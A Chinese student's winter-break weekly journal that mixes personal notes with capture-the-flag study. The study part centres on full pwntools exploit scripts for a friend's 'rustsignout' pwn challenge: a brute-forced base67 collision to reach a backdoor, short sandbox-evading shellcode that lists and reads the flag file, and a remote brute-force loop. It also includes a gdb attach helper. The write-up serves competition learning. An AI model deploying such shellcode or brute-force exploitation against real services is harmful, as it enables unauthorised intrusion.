2025 寒假第二次周报

1.20

今天过生日 + 回高中宣讲（

宣讲纯纯坐牢，不过居然面基了其他学校的一些做 ctf 的小登师傅，没绷住

顺便回机房看了看学弟，还是没有学妹哇（恼）

在等宣讲的时候打开电脑写周报的人是屑.jpg

1.21

今天出去陪 npy 逛了一天，唉，明天就该滚回自己家了。。。

1.22

满血复活，回家开始看春秋杯的那道 toys，对着 exp 调了半天，大概看明白，核心思路就是抬栈以免破坏 got 表附近的一些结构。

但是其实并不是很理解这个操作。。

调试的时候这个地方被调糊涂了很久，因为 payload 是交错的（（

下了 SUCTF 的附件，开始补题。

研究了一下有没有什么办法可以调试大型项目的宏定义，看来看去还是 grep 最好用（（（，但是这玩意不支持动态计算宏，也不是很方便

研究了一下 gdb 调试父子进程的方法，exp 这块晚秋之前给了个小 trick，我升级了一下：

```
def debug():
    command = ["ps", "-ax"]
    grep_command = ["grep", "attachment"]
    # 执行 ps 命令
    ps_process = subprocess.Popen(command, stdout=subprocess.PIPE)
    # 将 ps 命令的输出作为 grep 命令的输入
```

```
    grep_process = subprocess.Popen(grep_command, stdin=ps_process.stdout,
stdout=subprocess.PIPE)
    # 允许 ps 命令的输出流直接传递到 grep 命令
    ps_process.stdout.close()
    # 获取最终输出
    output = grep_process.communicate()[0]
    # 输出结果
    # print(output.decode())
    pid=int(output.decode().split(' ')[14],10)
    attach(pid)
    pause()
```

这样可以准确使用脚本调试想调试的某一个子进程。

discord 群里给了一些参考文献：https://sourceware.org/gdb/current/onlinedocs/gdb.html/Forks.html，这个文档里基本上推荐的做法也是 ps 查看 pid，然后 attach 上去，上面的只是把这个思路脚本化了。

另外如果 linux 禁止 attach 进程的话，可能得把 `/proc/sys/kernel/yama/ptrace_scope` 设置成 0。

1.23

让晚秋爹做了下 toys 那个题，思路确实是抬栈，btw 我写不来这个 exp（

t1d 放了个 rustsignout，逆天史题，不过我今天还没仔细吃，只是简单看了下逆向

学了一个新东西，deccomp2dbg。之前 qwb 的时候，晚上在晚秋房间看了一会，但是时间紧就没仔细学，这次好好学了下，感觉还行。

1.24

正式开吃了，先调逆向部分：

> 👴：有 backdoor？那拿下了呀。
>
> 👴：这 backdoor 怎么触发？base67？
>
> 👴：怎么还需要构造啊，t1d 设计的什么逆天编码算法
>
> 👴：调不出来啊，构造，错了，草！
>
> 👴：cnmdsbt1d***

绷不住了，最后去问了 KFC 师傅，师傅说用 gpt 秒了，真好

1.25

今天在搞 shellcode 部分，这部分还是比较有意思的，我本地很快就打通了，但是远程有点抽象（

什么正经题目会把远程和本地搞的不一样哇草

贴一下本地的 exp:

```
#!/usr/bin/env python3

from pwn import *
from sys import argv
from ctypes import *
import string
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

proc = "./pwn"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./mylibc/libc.so.6", checksec=False)
io = remote("tld1027.com", 8999) if argv[1] == 'r' else process(proc)
mylibc = cdll.LoadLibrary("/lib/libc.so.6")
seed = mylibc.time(0)

if args.G:
    gdb.attach(io, "b *$rebase(0x1b150)\nb *$rebase(0x1b243)")


def calc_offset(num, rhs):
    if num % rhs >= 0:
        return num % rhs
    if rhs < 0:
        temp = -rhs
    else:
        temp = rhs
    return temp + num % rhs


# Base67 编码函数
def base67_encode(data: bytes) -> str:
    BASE67_ALPHABET = table
    encoded = []
    # 处理输入数据，按 3 字节为单位处理
    for i in range(0, len(data), 3):
        # 获取当前 3 字节
        chunk = data[i:i + 3]
        # 补齐至 3 字节
```

```
        if len(chunk) < 3:
            chunk = chunk.ljust(3, b'\0')
        # 将 3 字节合并为一个 24 位的整数
        combined = (chunk[0] << 16) + (chunk[1] << 8) + chunk[2]
        # 将 24 位整数拆分为 4 个 6 位的整数（Base67）
        for j in range(4):
            encoded.append(BASE67_ALPHABET[(combined >> (18 - j * 6)) & 0x3F])
    # 转换为字符串并返回
    res = (''.join(encoded).rstrip("=")).encode()
    return res


def base67_decode(encoded_str):
    if len(encoded_str) % 4 != 0:
        raise ValueError("Base67 编码长度必须是 4 的倍数")

    decoded_bytes = bytearray()  # 用于存储解码后的字节数据
    bits = 0  # 用于拼接解码后的 6 位块
    bit_count = 0  # 用于追踪当前拼接的位数

    # 遍历编码字符串中的每个字符
    for char in encoded_str:
        if char not in char_to_value:
            raise ValueError(f"非法字符 {char}，无法解码")
        # 获取字符对应的值
        value = char_to_value[char]
        # 将该值转换为 6 位的二进制
        bits = (bits << 6) | value
        bit_count += 6
        # 每满 8 位（即一个字节），将它提取出来并保存
        while bit_count >= 8:
            bit_count -= 8
            decoded_byte = (bits >> bit_count) & 0xFF  # 获取当前字节
            decoded_bytes.append(decoded_byte)
    return bytes(decoded_bytes)


def utf8_lossy_decode(decoded_bytes):
    try:
        # 使用 errors='replace' 选项来替换无效字符
        return decoded_bytes.decode('utf-8', errors='replace')
    except UnicodeDecodeError as e:
        print(f"解码错误: {e}")
        return ''


# def judge(char1, char2, char3, char4):
#     if table.find(char1) >= 64 or tab
#
def find_data():
    # magic_cnt = 100
    # cnt = 0
    ans = dict()
    base67_chars = table
    # print(base67_chars)
    for char1 in base67_chars:
        for char2 in base67_chars:
```

```
            for char3 in base67_chars:
                for char4 in base67_chars:
                    encoded_str = char1 + char2 + char3 + char4
                    try:
                        decoded_data = base67_decode(encoded_str)
                        if (b"\x00" in decoded_data):
                            continue
                        # print(1)
                        decoded_string = decoded_data.decode('utf-8',
errors='strict')
                        if decoded_data in decoded_data_set:
                            if decoded_data == b'\t\x101':
                                return (decoded_data, encoded_str,
ans[decoded_data])
                        else:
                            decoded_data_set.add(decoded_data)
                            ans[decoded_data] = encoded_str
                    except ValueError as E:
                        pass


def choose(choice):
    io.recvuntil(b" > ")
    io.sendline(str(choice).encode())


def add(idx, name, data):
    choose(1)
    io.sendlineafter(b"Idx > ", str(idx).encode())
    io.recvuntil(b"name > ")
    io.sendline(name)
    # io.sendlineafter(b"name > ", name)
    io.sendlineafter(b"Message > ", data)


def edit(name, data):
    choose(4)
    # io.sendlineafter(b"Idx > ", str(idx).encode())
    io.sendlineafter(b"name > ", name)
    io.sendlineafter(b"message > ", b"WHAT CAN I SAY?!!!")


def backdoor(idx, filename, shellcode):
    choose(666)
    io.sendlineafter(b"Idx > ", str(idx).encode())
    io.recvuntil(b"first >\n")
    io.sendline(filename)
    io.sendlineafter(b"shellcode >\n", shellcode)


def check_shellcode(s):
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(s)
    for i, byte in enumerate(encoding):
        print(f"0x{byte:02x}", end=" " if (i + 1) % 4 else "\n")
    print("\n")
    shellcode = asm(s)
```

```
    for i in range(len(shellcode)):
        print(f"idx: {i}", hex(shellcode[i]), shellcode[i] % 5)
    res = 1
    for i in range(len(shellcode) - 2):
        tmp1 = shellcode[i] % 5
        tmp2 = shellcode[i + 1] % 5
        tmp3 = shellcode[i + 2] % 5
        # log.info(f"{tmp1}, {tmp2}, {tmp3}")
        if (tmp1 + tmp2 + tmp3 > 4):
            log.info(f"i => {i}, {i + 1}, {i + 2}")
            res = 0
    return res


mylibc.srand(seed)
num = mylibc.rand()
offset = calc_offset(num, 67)
log.info(f"num => {hex(num)}\noffset => {hex(offset)}")
# print(2)
s = "A+uP/07xRabdy2jzvr>XLKD9sZ6O5HpctlVkShMCUfiNw3oG?eBTIJmqEQWg<Y4Fn18"
table = s[offset:] + s[:offset]
log.info(f"table => {table}")
char_to_value = {char: idx for idx, char in enumerate(table)}
decoded_data_set = set()

data, msg1, msg2 = find_data()
log.info(f"data => {data}\nmsg1 => {msg1}\nmsg2 => {msg2}")
# io.sendlineafter(b"username: ", b"xuzhengyang")
# io.sendlineafter(b"password: ", b"114514")

add(0, msg1.encode(), b"bHAT CAN I SAY?!!!")
add(1, msg2.encode(), b"bHAT CAN I SAY?!!!")
edit(msg2.encode(), b"WHAT CAN I SAT?!!!")

shellcode1 = """
xchg rcx, fs:[rbx]
xor eax, 0x37646973
xor eax, 0x50050515
xchg dword ptr [rcx], eax
inc esi
xchg eax, esi
xchg eax, esi
add rsi, rcx
xchg rdi, rcx
xor eax, 82
syscall
"""
shellcode2 = """
xchg rcx, fs:[rbx]
xor edi, 6
xor edi, 5
xor edx, 0x50
xchg rsi, rcx
syscall
xchg eax, esp
xor eax, 1
dec edi
```

```
syscall
"""


payload = asm(shellcode1)
payload = asm(shellcode2)
backdoor(0, b"lag", payload)

io.interactive()
```

比较有意思的是我写的那个 check_shellcode 函数，我用了 keystone 的 api，可以比较方便的把汇编解析为 16 进制，比较好用.

再者就是，当清空寄存器后（这个套路还比较常见），我之前的做法是调用一个 syscall 直接赋值，不过这次我用了另外一个 trick，`xchg rcx, fs:[rbx]`，可以给 rcx 一个可读写的地址。

但是远程就是另一回事了。

1.26 / 1.27

远程的 flag name 特别长，有 16 字节。这就很麻烦，我之前的打法是把 flag 用异或的办法存到寄存器里，而对于远程来讲，光异或就得 16 + 16 = 32 字节，显然超出了 31 字节的限制。

怎么办呢？一开始尝试了构造一次 read 读入 buf 里，但是发现 close(0)。

后来又想到，也许我可以 open("/dev/tty") 重新打开标准输入，，，but 也不行。

后来 t1d 提醒说其实可以直接通过第一次 getdent 时读到的目录里➕一个偏移到 flag name 就好了。

那就比较简单了。 我最后写了一个 26 字节的 shellcode 出来，我非常满意这个结果，因为 t1d 说他写了 30 字节的 shellcode，还需要一定程度的爆破与调试，而我的不仅比他短，还不需要调试。

最终的 exp:

```
#!/usr/bin/env python3

from pwn import *
from sys import argv
from ctypes import *
import string
```

```python
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

# proc = ["seccomp-tools", "dump", "./pwn"]
proc = "./pwn"
context.log_level = "info"
context.binary = "./pwn"
elf = ELF(proc, checksec=False)
libc = ELF("./mylibc/libc.so.6", checksec=False)

mylibc = cdll.LoadLibrary("/lib/libc.so.6")
seed = mylibc.time(0)


def choose(choice):
    io.recvuntil(b" > ")
    io.sendline(str(choice).encode())


def add(idx, name, data):
    choose(1)
    io.sendlineafter(b"Idx > ", str(idx).encode())
    io.recvuntil(b"name > ")
    io.sendline(name)
    # io.sendlineafter(b"name > ", name)
    res = io.recv(timeout=1)
    # print(res)
    # io.sendlineafter(b"Message > ", data)
    if b"Message > " in res:
        io.sendline(data)
        return 1
    else:
        log.info(f"{name} is bad!")
        return -1


def edit(name, data):
    choose(4)
    # io.sendlineafter(b"Idx > ", str(idx).encode())
    # io.sendline(name)
    io.sendlineafter(b"message > ", b"WHAT CAN I SAY?!!!")


def backdoor(idx, filename, shellcode):
    choose(666)
    io.sendlineafter(b"Idx > ", str(idx).encode())
    io.recvuntil(b"first >\n")
    io.sendline(filename)
    io.sendlineafter(b"shellcode >\n", shellcode)


def base67_decode(encoded_str):
    if len(encoded_str) % 4 != 0:
        raise ValueError("Base67 编码长度必须是 4 的倍数")

    decoded_bytes = bytearray()  # 用于存储解码后的字节数据
    bits = 0  # 用于拼接解码后的 6 位块
    bit_count = 0  # 用于追踪当前拼接的位数
```

```
    # 遍历编码字符串中的每个字符
    for char in encoded_str:
        if char not in char_to_value:
            raise ValueError(f"非法字符 {char}，无法解码")
        # 获取字符对应的值
        value = char_to_value[char]
        # 将该值转换为 6 位的二进制
        bits = (bits << 6) | value
        bit_count += 6
        # 每满 8 位（即一个字节），将它提取出来并保存
        while bit_count >= 8:
            bit_count -= 8
            decoded_byte = (bits >> bit_count) & 0xFF  # 获取当前字节
            decoded_bytes.append(decoded_byte)
    return bytes(decoded_bytes)


def find_data():
    # magic_cnt = 100
    # cnt = 0
    ans = dict()
    base67_chars = table
    # print(base67_chars)
    for char1 in base67_chars:
        for char2 in base67_chars:
            for char3 in base67_chars:
                for char4 in base67_chars:
                    encoded_str = char1 + char2 + char3 + char4
                    try:
                        decoded_data = base67_decode(encoded_str)
                        if (b"\x00" in decoded_data):
                            continue
                        # print(1)
                        decoded_string = decoded_data.decode('utf-8',
errors='strict')
                        if decoded_data in decoded_data_set:
                            if decoded_data == b'\t\x101':
                                return (decoded_data, encoded_str,
ans[decoded_data])
                        else:
                            decoded_data_set.add(decoded_data)
                            ans[decoded_data] = encoded_str
                    except ValueError as E:
                        pass


def pwn(username, password):
    if argv[1] == "r":
        io.sendlineafter(b"username: ", username)
        io.sendlineafter(b"password: ", password)
    data, msg1, msg2 = find_data()
    log.info(f"data => {data}; msg1 => {msg1}; msg2 => {msg2};")
    res1 = add(0, msg1.encode(), b"b")
    if res1 == -1:
        return -1
    res2 = add(1, msg2.encode(), b"b")
```

```
    if res2 == -1:
        return -1
    choose(4)
    io.sendlineafter(b"name > ", msg2.encode())
    res = io.recv(timeout=1)
    print(res)
    if b"No" in res:
        return -1
    elif b"GOOD" in res:
        io.sendline(b"WHAT CAN I SAY?!!!")
        # edit(msg2.encode(), b"WHAT CAN I SAY?!!!")
        # print(payload)
        ans = input()
        if ans == "1":
            backdoor(0, b".", asm(shellcode1))
        elif ans == "2":
            backdoor(0, b".", asm(shellcode2))
        elif ans == "3":
            backdoor(0, b"1\xc3\x1a", asm(shellcode3))
        elif ans == "4":
            backdoor(0, b".", asm(shellcode4))
        # backdoor(0, b"lag_b04c54574d1", payload)
        return 1


# shellcode1 is ls
shellcode1 = """xchg rcx, fs:[rbx]
xor edi, 6
xor edi, 5
dec dx
xchg rsi, rcx
xor al, 0xeb
xor al, 0x32
syscall
xchg eax, esp
xor eax, 0x1
dec edi
syscall
"""

# ls + rename
shellcode2 = """
xchg rsp, fs:[rbx]
add rsi, rsp
mov dl, 0xff
push 3
pop rdi
mov al, 78
syscall
push 122
pop rdi
add rdi, rsp
mov al, 82
syscall
"""

# read + write
```

```
shellcode3 = """xchg rcx, fs:[rbx]
xor edi, 6
xor edi, 5
xor edx, 0x50
xchg rsi, rcx
syscall
xchg eax, esp
xor eax, 1
dec edi
syscall
"""

# ls + write
shellcode4 = """
xchg rsp, fs:[rbx]
add rsi, rsp
mov dl, 0xff
push 3
pop rdi
mov al, 78
syscall
add rsp, 122
mov al, 0x1
push 1
pop rdi
mov rsi, rsp
syscall
"""

# payload = asm(shellcode1)

s = "A+uP/07xRabdy2jzvr>XLKD9sZ6O5HpctlVkShMCUfiNw3oG?eBTIJmqEQWg<Y4Fn18"
table = s
cnt = 0
while True:
    if cnt == 68:
        cnt = 0
    table = s[cnt:] + s[:cnt]
    cnt = cnt + 1
    char_to_value = {char: idx for idx, char in enumerate(table)}
    decoded_data_set = set()
    log.info(f"cnt => {cnt}; table => {table}")
    # io = remote("tld1027.com", 8999)
    # io = process(proc)
    io = remote("tld1027.com", 8999) if argv[1] == 'r' else process(proc)

    if args.G:
        gdb.attach(io, "b *$rebase(0x1b150)\nb *$rebase(0x1b243)")

    if pwn(b"xu", b"1") == 1:
        io.interactive()
        break
    else:
        io.close()
```

远程的随机数没法用时间预测了，所以我打了一个爆破。

t1d 说我可以给先知投稿，有 200 米，那我找时间把这个题 wp 正好写掉。